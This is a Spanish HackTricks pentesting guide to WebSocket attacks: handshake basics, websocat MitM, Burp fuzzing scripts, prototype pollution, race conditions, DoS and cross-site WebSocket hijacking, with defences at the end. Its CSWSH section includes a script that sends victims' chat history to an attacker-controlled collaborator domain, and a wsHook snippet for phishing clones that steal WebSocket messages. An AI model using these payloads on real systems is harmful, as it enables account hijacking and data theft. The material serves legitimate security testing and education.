hacktricks/src/pentesting-web/websocket-attacks.md

316 lines
20 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Ataques WebSocket
{{#include ../banners/hacktricks-training.md}}
## ¿Qué son los WebSockets?
Las conexiones WebSocket se establecen mediante un **HTTP** handshake inicial y están diseñadas para ser **de larga duración**, lo que permite mensajería bidireccional en cualquier momento sin la necesidad de un sistema transaccional. Esto hace que los WebSockets sean especialmente ventajosos para aplicaciones que requieren **baja latencia o comunicación iniciada por el servidor**, como flujos de datos financieros en vivo.
### Establecimiento de conexiones WebSocket
Una explicación detallada sobre el establecimiento de conexiones WebSocket se puede consultar [**aquí**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). En resumen, las conexiones WebSocket suelen iniciarse desde JavaScript del lado del cliente como se muestra a continuación:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws")
```
El protocolo `wss` indica una conexión WebSocket asegurada con **TLS**, mientras que `ws` indica una conexión **no segura**.
Durante el establecimiento de la conexión, se realiza un handshake entre el navegador y el servidor sobre HTTP. El proceso de handshake implica que el navegador envíe una solicitud y el servidor responda, como se ilustra en los siguientes ejemplos:
El navegador envía una solicitud de handshake:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
Respuesta de handshake del servidor:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
La conexión permanece abierta para el intercambio de mensajes en ambas direcciones una vez establecida.
**Puntos clave del WebSocket Handshake:**
- Los encabezados `Connection` y `Upgrade` señalan el inicio de un WebSocket handshake.
- El encabezado `Sec-WebSocket-Version` indica la versión del protocolo WebSocket deseada, normalmente `13`.
- Se envía un valor aleatorio codificado en Base64 en el encabezado `Sec-WebSocket-Key`, garantizando que cada handshake sea único, lo que ayuda a prevenir problemas con proxies de caché. Este valor no sirve para autenticación sino para confirmar que la respuesta no es generada por un servidor o caché mal configurado.
- El encabezado `Sec-WebSocket-Accept` en la respuesta del servidor es un hash de la `Sec-WebSocket-Key`, verificando la intención del servidor de abrir una conexión WebSocket.
Estas características aseguran que el proceso de handshake sea seguro y fiable, allanando el camino para una comunicación en tiempo real eficiente.
### Consola de Linux
Puedes usar `websocat` para establecer una conexión raw con un WebSocket.
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
O para crear un servidor websocat:
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### Conexiones websocket MitM
Si detectas que clientes están conectados a un **HTTP websocket** desde tu red local actual, podrías intentar un [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) para realizar un ataque MitM entre el cliente y el servidor.\
Una vez que el cliente intente conectarse a ti, puedes usar:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Enumeración de websockets
Puedes usar la **herramienta** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **para descubrir, fingerprint y buscar vulnerabilidades conocidas en websockets automáticamente.**
### Herramientas de depuración de Websocket
- **Burp Suite** soporta comunicaciones websockets MitM de una manera muy similar a como lo hace con la comunicación HTTP regular.
- La [**socketsleuth**](https://github.com/snyk/socketsleuth) **extensión de Burp Suite** te permitirá gestionar mejor las comunicaciones Websocket en Burp obteniendo el **history**, estableciendo **interception rules**, usando reglas de **match and replace**, usando **Intruder** y **AutoRepeater.**
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abreviatura de "**WebSocket/Socket.io Proxy**", esta herramienta, escrita en Node.js, proporciona una interfaz de usuario para **capture, intercept, send custom** messages y ver todas las comunicaciones WebSocket y Socket.IO entre el cliente y el servidor.
- [**wsrepl**](https://github.com/doyensec/wsrepl) es un **interactive websocket REPL** diseñado específicamente para penetration testing. Proporciona una interfaz para observar **incoming websocket messages and sending new ones**, con un framework fácil de usar para **automating** esta comunicación.
- [**https://websocketking.com/**](https://websocketking.com/) es un **sitio web para comunicarse** con otros sitios usando **websockets**.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) entre otros tipos de comunicaciones/protocolos, proporciona un **sitio web para comunicarse** con otros sitios usando **websockets.**
## Descifrado de Websocket
- [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
- [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/)
## Laboratorio Websocket
En [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) tienes código para lanzar un sitio web usando websockets y en [**esta publicación**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) puedes encontrar una explicación.
## Fuzzing de Websocket
La extensión de Burp [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) ahora permite fuzzing también de mensajes WebSocket. Puedes leer más información sobre esto [**aquí**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner).
### WebSocket Turbo Intruder (extensión de Burp)
WebSocket Turbo Intruder de PortSwigger aporta scripting en Python al estilo Turbo Intruder y fuzzing de alta tasa para WebSockets. Instálalo desde la BApp Store o desde la fuente. Incluye dos componentes:
- Turbo Intruder: mensajería de alto volumen a un único endpoint WS usando motores personalizados.
- HTTP Middleware: expone un endpoint HTTP local que reenvía bodies como mensajes WS sobre una conexión persistente, para que cualquier scanner basado en HTTP pueda sondear backends WS.
Patrón básico de script para fuzzing de un endpoint WS y filtrar respuestas relevantes:
```python
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
Usa decoradores como `@MatchRegex(...)` para reducir el ruido cuando un solo mensaje provoca múltiples respuestas.
### Puente WS detrás de HTTP (HTTP Middleware)
Envuelve una conexión WS persistente y reenvía los cuerpos HTTP como mensajes WS para pruebas automatizadas con escáneres HTTP:
```python
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
Luego envía HTTP localmente; el body se reenvía como el mensaje WS:
```http
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
```
Esto te permite controlar backends WS mientras filtras eventos “interesantes” (p. ej., errores de SQLi, auth bypass, comportamiento de command injection).
### Socket.IO handling (handshake, heartbeats, events)
Socket.IO añade su propia encapsulación sobre WS. Detéctalo mediante el parámetro de consulta obligatorio `EIO` (p. ej., `EIO=4`). Mantén la sesión viva con Ping (`2`) y Pong (`3`) y comienza la conversación con `"40"`, luego emite eventos como `42["message","hello"]`.
Ejemplo de Intruder:
```python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
Variante de adaptador HTTP:
```python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
### Detectando prototype pollution del lado del servidor mediante Socket.IO
Siguiendo la técnica de detección segura de PortSwigger, intenta contaminar los internals de Express enviando un payload como:
```json
{"__proto__":{"initialPacket":"Polluted"}}
```
Si los saludos o el comportamiento cambian (p. ej., echo incluye "Polluted"), probablemente causaste prototype pollution en el servidor. El impacto depende de los sinks alcanzables; correlaciónalo con los gadgets en la sección de Node.js prototype pollution. Ver:
- Check [NodeJS __proto__ & prototype Pollution](deserialization/nodejs-proto-prototype-pollution/README.md) for sinks/gadgets and chaining ideas.
### WebSocket race conditions with Turbo Intruder
El engine por defecto agrupa mensajes en una sola conexión (alto throughput, malo para condiciones de carrera). Usa el engine THREADED para abrir múltiples conexiones WS y disparar payloads en paralelo para provocar race logic (doublespend, token reuse, state desync). Empieza desde el script de ejemplo y ajusta la concurrencia en `config()`.
- Aprende la metodología y alternativas en [Race Condition](race-condition.md) (ver “RC in WebSockets”).
### WebSocket DoS: malformed frame “Ping of Death”
Crea frames WS cuyo header declara una longitud de payload enorme pero no envía cuerpo. Algunos servidores WS confían en la longitud y preasignan buffers; ajustarla cerca de `Integer.MAX_VALUE` puede causar OutOfMemory y un DoS remoto sin autenticación. Ver el script de ejemplo.
### CLI and debugging
- Headless fuzzing: `java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>`
- Habilita el WS Logger para capturar y correlacionar mensajes usando IDs internos.
- Usa los helpers `inc*`/`dec*` sobre `Connection` para ajustar el manejo de IDs de mensaje en adapters complejos.
- Decorators como `@PingPong`/`@Pong` y helpers como `isInteresting()` reducen el ruido y mantienen las sesiones vivas.
### Operational safety
El fuzzing WS a alta tasa puede abrir muchas conexiones y enviar miles de mensajes por segundo. Frames malformados y tasas altas pueden provocar DoS real. Úsalo solo donde esté permitido.
## Cross-site WebSocket hijacking (CSWSH)
**Cross-site WebSocket hijacking**, también conocido como **cross-origin WebSocket hijacking**, se identifica como un caso específico de **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** que afecta los handshakes de WebSocket. Esta vulnerabilidad surge cuando los handshakes de WebSocket se autentican únicamente mediante **HTTP cookies** sin **CSRF tokens** u otras medidas de seguridad similares.
Los atacantes pueden explotarla hospedando una **página web maliciosa** que inicia una conexión WebSocket cross-site hacia la aplicación vulnerable. Como consecuencia, esa conexión se trata como parte de la sesión de la víctima con la aplicación, explotando la falta de protección CSRF en el manejo de sesiones.
Para que este ataque funcione, se requieren:
- La autenticación del websocket **debe basarse en cookies**
- La cookie debe ser accesible desde el servidor del atacante (esto suele implicar **`SameSite=None`**) y no debe estar habilitado **Firefox Total Cookie Protection** en Firefox ni tener **third-party cookies bloqueadas** en Chrome.
- El servidor websocket no debe verificar el origin de la conexión (o esto debe ser evadible)
Además:
- Si la autenticación se basa en una conexión local (a localhost o a una red local) el ataque **será posible** ya que no existe una protección actual que lo impida (check [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
### Simple Attack
Ten en cuenta que al **establecer** una **websocket** conexión la **cookie** se **envía** al servidor. El **servidor** podría usarla para **relacionar** a cada **usuario** específico con su **sesión websocket** basada en la cookie enviada.
Entonces, si por **ejemplo** el **servidor websocket** **devuelve el historial de la conversación** de un usuario si se envía un msg con "**READY**", entonces un **simple XSS** que establezca la conexión (la **cookie** será **enviada** **automáticamente** para autorizar al usuario víctima) **enviando** "**READY**" podrá **recuperar** el historial de la **conversación**.
```html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
### Cross Origin + Cookie con un subdominio diferente
En este blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) el atacante logró **execute arbitrary Javascript in a subdomain** del dominio donde se estaba produciendo la comunicación del web socket. Como era un **subdomain**, la **cookie** se estaba **sent**, y debido a que el **Websocket didn't check the Origin properly**, fue posible comunicarse con él y **steal tokens from it**.
### Robar datos del usuario
Copia la aplicación web que quieras suplantar (los archivos .html, por ejemplo) y dentro del script donde se está realizando la comunicación websocket añade este código:
```javascript
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
```
Ahora descarga el archivo `wsHook.js` desde [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) y **guárdalo dentro de la carpeta con los archivos web**.\
Al exponer la aplicación web y hacer que un usuario se conecte a ella, podrás robar los mensajes enviados y recibidos vía websocket:
```javascript
sudo python3 -m http.server 80
```
### Protecciones CSWSH
El ataque CSWSH se basa en que un **usuario se conectará a una página maliciosa** que **abrirá una conexión websocket** a una página web a la que el usuario ya está conectado y se autenticará como él, ya que la petición enviará las cookies del usuario.
Hoy en día, es muy fácil prevenir este problema:
- **Websocket server checking the origin**: El servidor websocket debería siempre comprobar desde dónde se conecta un usuario para evitar que páginas inesperadas se conecten a él.
- **Authentication token**: En lugar de basar la autenticación en una cookie, la conexión websocket podría basarse en un token que sea generado por el servidor para el usuario y desconocido para el atacante (como un anti-CSRF token).
- **SameSite Cookie attribute**: Las cookies con el valor `SameSite` como `Lax` o `Strict` no se enviarán desde una página atacante externa al servidor víctima; por lo tanto, la autenticación basada en cookies no tendrá éxito. Ten en cuenta que Chrome ahora asigna el valor **`Lax`** a las cookies sin esta flag especificada, haciendo esto más seguro por defecto. Sin embargo, durante los primeros 2 minutos tras crear la cookie tendrá el valor **`None`**, lo que la hace vulnerable durante ese período limitado de tiempo (también se espera que esta medida sea eliminada en algún momento).
- **Firefox Total Cookie Protection**: Total Cookie Protection funciona aislando las cookies al sitio en el que se crean. Esencialmente, cada sitio tiene su propia partición de almacenamiento de cookies para evitar que terceros vinculen el historial de navegación de un usuario. Esto hace que **CSWSH sea inutilizable**, ya que el sitio del atacante no tendrá acceso a las cookies.
- **Chrome third-party cookies block**: Esto también podría evitar el envío de la cookie del usuario autenticado al servidor websocket incluso con `SameSite=None`.
## Condiciones de carrera
Las condiciones de carrera en WebSockets también existen, [consulta esta información para aprender más](race-condition.md#rc-in-websockets).
## Otras vulnerabilidades
Como Web Sockets son un mecanismo para **enviar datos al servidor y al cliente**, dependiendo de cómo el servidor y el cliente manejen la información, **los Web Sockets pueden utilizarse para explotar otras vulnerabilidades como XSS, SQLi u otras vulnerabilidades web comunes usando la entrada de un usuario desde un websocket.**
## **WebSocket Smuggling**
Esta vulnerabilidad podría permitirte **eludir las restricciones de reverse proxies** haciéndoles creer que se **estableció una comunicación websocket** (aunque no sea cierto). Esto podría permitir a un atacante **acceder a endpoints ocultos**. Para más información consulta la siguiente página:
{{#ref}}
h2c-smuggling.md
{{#endref}}
## Referencias
- [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
- [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
- [WebSocket Turbo Intruder BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066)
- [WebSocketTurboIntruder GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
- [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
- [Server-side prototype pollution safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers)
- [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC)
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
- [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py)
{{#include ../banners/hacktricks-training.md}}